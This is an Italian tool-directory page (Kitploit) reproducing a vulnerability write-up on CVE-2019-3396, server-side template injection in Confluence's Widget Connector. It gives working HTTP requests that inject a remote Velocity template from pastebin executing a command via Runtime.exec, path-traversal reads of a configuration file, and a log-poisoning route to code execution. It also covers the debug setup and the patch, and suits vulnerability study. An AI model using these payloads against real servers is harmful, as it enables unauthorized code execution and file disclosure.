Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-3396 — Iniezione di template non autorizzata in Confluence | Kitploit
Strumenti/GitHubGitHub/petrusviet/cve-2019-3396
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubpetrusviet/cve-2019-3396

cve-2019-3396

Iniezione di template non autorizzata in Confluence

Vedi Repository
2115 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Iniezione di template non autorizzata in Confluence (CVE-2019-3396)

I) Compilazione

  • Il bug si verifica sulle versioni:
    • Tutte le versioni 1.x.x, 2.x.x, 3.x.x, 4.x.x e 5.x.x
    • Tutte le versioni 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x e 6.5.x
    • Tutte le versioni 6.6.x precedenti alla 6.6.12
    • Tutte le versioni 6.7.x, 6.8.x, 6.9.x, 6.10.x e 6.11.x
    • Tutte le versioni 6.12.x precedenti alla 6.12.3
    • Tutte le versioni 6.13.x precedenti alla 6.13.3
    • Tutte le versioni 6.14.x precedenti alla 6.14.2
  • Dopo aver scaricato il sorgente, è necessario:
    • Impostare il valore confluence.home sull'indirizzo della home di Confluence nel file ./confluence/WEB-INF/classes/confluence-init.properties
    • Aggiungere la variabile CATALINA_OPTS affinché il programma possa essere eseguito in modalità remote debug

Su Windows, file ./bin/setenv.bat

root@kitploit:~
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

su Linux, file ./bin/setenv.sh

root@kitploit:~
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • Nell'IDE (Intellij) creiamo una configurazione di Debug: con e impostati su localhost:5005 e con
Scarica lo strumento
Remote JVM Debug
host
port
Command line aguments for remote JVM
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • Possiamo usare Postgresql come database:
root@kitploit:~
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
 
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
  • Dobbiamo aggiungere i jar: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar alla libreria, così durante il debug possiamo vedere il sorgente necessario.

  • Eseguiamo il file ./bin/start-confluence.bat e potete consultare anche questa guida per installare dal sorgente.

II) Analisi

  • Dopo aver letto la descrizione, sappiamo che il bug ha origine dalla funzionalità Widget Connector, quindi cerco subito su Google per capire di cosa si tratta e come si usa:

    2 per modificare una pagina

    3
    Seleziona Altre macro

    4 Seleziona Widget connector

    image

  • Scelgo dei parametri a caso, premo su Preview e poi passo da Burp per vedere se c'è qualcosa di interessante. image

  • In questo pacchetto vedo un parametro "pluginKey":"com.atlassian.confluence.extra.widgetconnector", quindi suppongo che la funzionalità Widget Connector sia definita nella classe com.atlassian.confluence.extra.widgetconnector; cerco quindi nel path se c'è qualche jar sospetto.

image

  • Provo ad aggiungere il file ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar alla libreria del progetto per poter leggere il codice sorgente e fare debug.

    1
    Come aggiungere un file jar alla libreria

  • Apro il pacchetto widgetconnector, simpatizzo con la classe WidgetMacro, quindi metto un breakpoint nel costruttore e nel metodo execute di questa classe per vedere se viene chiamata quando uso la funzionalità Preview 🕵️

    • image

    • Il metodo execute viene chiamato, poi il programma chiama DefaultRenderManager.getEmbeddedHtml

    • image

    • Vediamo che per entrare nell'if dobbiamo soddisfare la condizione widgetRenderer.matches(url). Controlliamo il metodo widgetRenderer.matches(url) nella classe YoutubeRenderer

    • image

    • image

    • Quindi devo far sì che il parametro url sia un link a un video di YouTube (o Vimeo, Twitter, ...). Imposto url come link di un video YouTube qualsiasi e il programma entra nell'if, poi chiama il metodo widgetRenderer.getEmbeddedHtml(url, params) (classe YoutubeRenderer)

    • image

    • Il programma salta al metodo setDefaultParam: qui vediamo un parametro nascosto _template che sembra sospetto :)

    • image

    • Dopo essere usciti dal metodo setDefaultParam, il programma chiama DefaultVelocityRenderService.render

    • image

    • Si prosegue con getRenderedTemplate e con VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)

    • image

    • image

    • Poi si arriva a VelocityUtils.getRenderedTemplate(String templateName, Context context) e a getRenderedTemplateWithoutSwallowingErrors(templateName, context)

    • image

    • Il metodo renderTemplateWithoutSwallowingErrors

    • image

    • Il programma chiama getTemplate, poi VelocityEngine.getTemplate e RuntimeInstance.getTemplate; qui vediamo che il programma chiama getResource con come parametro di ingresso il valore del parametro _template. In Java, getResource può essere usato per caricare una risorsa da un file locale o da un file su Internet (tramite protocollo HTTP).

    • Fermiamoci a riflettere: questo non consente forse a un attaccante di iniettare un template qualsiasi (dal server locale o dall'host dell'attaccante) nel programma aggiungendo il parametro _template alla richiesta?

    • image

    • Continuiamo a tracciare all'indietro per vedere come il programma gestisce il template una volta ottenuto:

    • Una volta ottenuto il template, il programma chiama VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

    • image

    • E poi template.merge(context, writer);

    root@kitploit:~
    public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
          if (this.errorCondition != null) {
              throw this.errorCondition;
          } else if (this.data == null) {
              String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
              throw new RuntimeException(msg);
          } else {
              InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
              ica.setMacroLibraries(macroLibraries);
              if (macroLibraries != null) {
                  for(int i = 0; i < macroLibraries.size(); ++i) {
                      try {
                          this.rsvc.getTemplate((String)macroLibraries.get(i));
                      } catch (ResourceNotFoundException var17) {
                          this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                          throw var17;
                      } catch (ParseErrorException var18) {
                          this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                          throw var18;
                      } catch (Exception var19) {
                          throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                      }
                  }
              }
    
              if (this.provideScope) {
                  ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
              }
    
              try {
                  ica.pushCurrentTemplateName(this.name);
                  ica.setCurrentResource(this);
                  ((SimpleNode)this.data).render(ica, writer);      ### POC có thể được render ở đây  ###
              } catch (StopCommand var20) {
                  if (!var20.isFor(this)) {
                      throw var20;
                  }
    
                  if (this.rsvc.getLog().isDebugEnabled()) {
                      this.rsvc.getLog().debug(var20.getMessage());
                  }
              } catch (IOException var21) {
                  throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
              } finally {
                  ica.popCurrentTemplateName();
                  ica.setCurrentResource((Resource)null);
                  if (this.provideScope) {
                      Object obj = ica.get(this.scopeName);
                      if (obj instanceof Scope) {
                          Scope scope = (Scope)obj;
                          if (scope.getParent() != null) {
                              ica.put(this.scopeName, scope.getParent());
                          } else if (scope.getReplaced() != null) {
                              ica.put(this.scopeName, scope.getReplaced());
                          } else {
                              ica.remove(this.scopeName);
                          }
                      }
                  }
    
              }
    
          }
      }
    
    • Qui vediamo che il programma chiama SimpleNode.render; questo metodo usa Velocity per fare il parsing del template. A questo punto possiamo vedere che è possibile scrivere un PoC per la RCE.

La richiesta POST quando si richiede la funzionalità Preview:

root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close

{
"contentId":"622594",
"macro": {
    "name":"widget",
    "body":"","params": {
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "width":"10",
      "height":"10",
      "_template":"https://pastebin.com/raw/JPEpiuLG"
      }
}
}

file del payload

root@kitploit:~
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
  • Il PoC è stato eseguito con successo:
  • image

Stack delle chiamate

root@kitploit:~
WidgetMacro: execute
  -> DefaultRenderManager: getEmbeddedHtml
  	-> YoutubeRenderer: getEmbeddedHtml
  		-> DefaultVelocityRenderService: render -> getRenderedTemplate
  			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
  				
  				-> VelocityEngine: getTemplate
  					-> RuntimeInstance: getResource 

  			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors

  				-> Template: merge
  					=>  SimpleNode: render

Quindi abbiamo riprodotto con successo questo bug con un PoC, ma nel caso in cui il target sia un server che blocca il traffico outbound, l'attaccante non può recuperare risorse da Internet, ma solo risorse locali del server.

In quel caso, come possiamo sfruttarla?

Ho ricevuto un suggerimento: in qualche modo l'utente può iniettare un payload nel file di log. È un'idea piuttosto buona, quindi mi metto subito a scervellarmi.

  • Comincio a guardare i file di log nella home di Confluence per vedere se c'è qualcosa di particolare. Esamino i file di log in ./shared-home/analytics-logs/ e noto alcune coppie chiave-valore familiari; sembrano inviate dal lato client.
  • image
  • Vedo che una richiesta POST /rest/analytics/1.0/publish/bulk invia alcune coppie chiave-valore come sopra.
root@kitploit:~
[{"name":"browser.metrics.navigation",
"properties":{
 "apdex":"0.5",
 "firstPaint":"528",
 "isInitial":"true",
 "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
 "key":"confluence.dashboard.view",
 "navigationType":"0",
 "readyForUser":"1117",
 "redirectCount":"0",
 "resourceLoadedEnd":"499",
 "resourceLoadedStart":90.35499999299645,
 "threshold":"1000",
 "unloadEventStart":"47",
 "unloadEventEnd":"47",
 "fetchStart":"25",
 "domainLookupStart":"25",
 "domainLookupEnd":"25",
 "connectStart":"25",
 "connectEnd":"25",
 "requestStart":"27",
 "responseStart":"28",
 "responseEnd":"37",
 "domLoading":"52",
 "domInteractive":"538",
 "domContentLoadedEventStart":"538",
 "domContentLoadedEventEnd":"691",
 "domComplete":"1176",
 "loadEventStart":"1176",
 "loadEventEnd":"1176",
 "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
 "pageEnd":"531",
 "isBigPipeEnabled":"false",
 "serverDuration":"339",
 "requestCorrelationId":"36006c54d2919ecd",
 "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
 "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
 }]
  • Provo a sostituire alcuni valori e scopro che il valore resourceTiming può essere modificato a piacere e viene comunque registrato nel log.
  • image
  • Così possiamo inserire un payload nel file di log situato sul server locale.
  • Da qui possiamo leggere il file ./confluence/WEB-INF/classes/confluence-init.properties per scoprire la posizione della home di Confluence.
root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
  
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
  "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
  "_template":"/../../WEB-INF/classes/confluence-init.properties",
  "width":"11",
  "height":"11"
  }
}
}
  • Poi da lì arriviamo al file di log che contiene il payload che abbiamo iniettato:
root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
    
{
"contentId":"1507329",
"macro":{
  "name":"widget",
  "body":"",
  "params":{
    "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
    "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
    "width":"11",
    "height":"11"
    }
  }
}
  • Se il file di log è troppo grande per poter essere usato nel template da parsare, possiamo pushare i log finché il file raggiunge il limite di dimensione; a quel punto il sistema scrive automaticamente i log in un nuovo file e l'attaccante può cogliere l'occasione che il nuovo file di log non sia ancora grande per iniettarvi il payload e usarlo.

III) Correzione

Nella patch, alla classe WidgetMacro è stata aggiunta la funzione doSanitizeParameters per rimuovere il parametro "_template" prima di chiamare renderManager.getEmbeddedHtml(url, parameters);

image image image